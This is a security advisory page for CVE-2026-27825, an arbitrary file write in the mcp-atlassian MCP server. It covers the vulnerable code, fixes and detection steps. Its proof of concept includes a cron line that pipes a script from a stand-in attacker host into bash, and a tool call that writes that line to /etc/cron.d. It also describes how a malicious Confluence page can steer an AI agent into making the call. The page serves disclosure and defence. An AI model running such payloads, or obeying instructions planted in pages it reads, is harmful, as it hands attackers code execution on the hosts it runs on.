NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-27825: MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

criticalCVSS 3.1 9.0GHSA-xjgw-4wvw-rgm4

The confluence_download_attachment tool in mcp-atlassian writes a Confluence attachment to any path the caller names, with no directory limit. An attacker who can call the tool, or who can steer an AI agent into calling it, can write a cron entry or SSH key and get code execution on the server host. Upgrade mcp-atlassian to 0.17.0.

Published Mar 10, 2026 · Analysis Oct 31, 2026

What an attacker can do

The tool's download_path parameter is described as a full path, absolute or relative, and the code only runs os.path.abspath on it, creates the parent directories and writes the file. The same gap exists in download_content_attachments through its target_dir parameter. The attacker controls both where the file goes and what it contains, because the content is a Confluence attachment they upload.

The advisory's proof of concept uploads an attachment holding a cron line, then calls the tool with download_path set to /etc/cron.d/mcp-backdoor. The scheduler runs it within a minute. Other targets are authorized_keys, a Python module in the virtual environment, and ~/.bashrc.

The HTTP transport has no authentication by default, binds to 0.0.0.0 by default, and uses the server's own Confluence credentials as a fallback. Anyone who can reach the port can call the tool. The advisory also describes an indirect route: a malicious Confluence page can carry instructions that make an AI agent call the tool with attacker-chosen parameters. The CVSS vector is adjacent network with scope changed.

Who is affected

The pip package mcp-atlassian below 0.17.0. The risk is highest when the server runs in HTTP transport mode, which listens on 0.0.0.0 with no authentication by default, or when an agent reads untrusted Confluence content.

pip show mcp-atlassian

For uvx or Docker setups, check the pinned tag or resolved version in your MCP client configuration.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.17.0
Fixed in
0.17.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to mcp-atlassian 0.17.0.

pip install --upgrade "mcp-atlassian>=0.17.0"

The fix (commit 52b9b09) adds validate_safe_path in utils/io.py and calls it from the Confluence download functions. Relative paths resolve against a base directory that defaults to the current working directory, symlinks and dot-dot segments are resolved, and a path outside the base raises Path traversal detected. The commit adds no new environment variable. The advisory names no workaround. Until you upgrade, do not expose the HTTP transport to untrusted networks and run the server as an unprivileged user.

How to tell if you were hit

Look for unexpected files written by the mcp-atlassian process outside its download folder, especially new entries in /etc/cron.d, authorized_keys changes, edited shell profiles and modified .py files in the virtual environment. Review MCP server logs for confluence_download_attachment calls whose download_path is outside the working directory. Beam records agent MCP tool calls and file access, so a call to this tool with a path like /etc/cron.d/... is visible and its rules can flag it.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

  download_path: Annotated[
      str,
      Field(
          description=(
              "Full path where the file should be saved. Can be absolute or relative. "
              "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
              "Parent directory will be created if it doesn't exist."
          )
      ),
  ],

 The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

  if not os.path.isabs(target_path):
      target_path = os.path.abspath(target_path)  # normalizes path, no restriction

  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
  with open(target_path, "wb") as f:                        # writes to any writable path
      for chunk in response.iter_content(chunk_size=8192):
          f.write(chunk)

 os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).


### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

  * * * * * root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

  {
      "jsonrpc": "2.0",
      "method": "tools/call",
      "params": {
          "name": "confluence_download_attachment",
          "arguments": {
              "page_id": "<page id hosting the malicious attachment>",
              "attachment_id": "<attachment id>",
              "download_path": "/etc/cron.d/mcp-backdoor"
          }
      },
      "id": 1
  }

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact:
  - /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
  - <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
  - ~/.bashrc - code execution on next user login

### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths:
 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required
 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.
 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.
 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Credited to yotampe-pluto, gil-maman-p.

Questions

Can this be triggered through an AI agent?

Yes. The advisory says a malicious Confluence page can embed instructions that make an agent call confluence_download_attachment with attacker-chosen parameters.

Does the attacker need Confluence access?

To control the file content, they need to upload an attachment to a page. If the server's HTTP port is open and unauthenticated, they can call the tool with the server's own Confluence credentials.

Which version fixes CVE-2026-27825?

mcp-atlassian 0.17.0. All earlier versions are affected.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries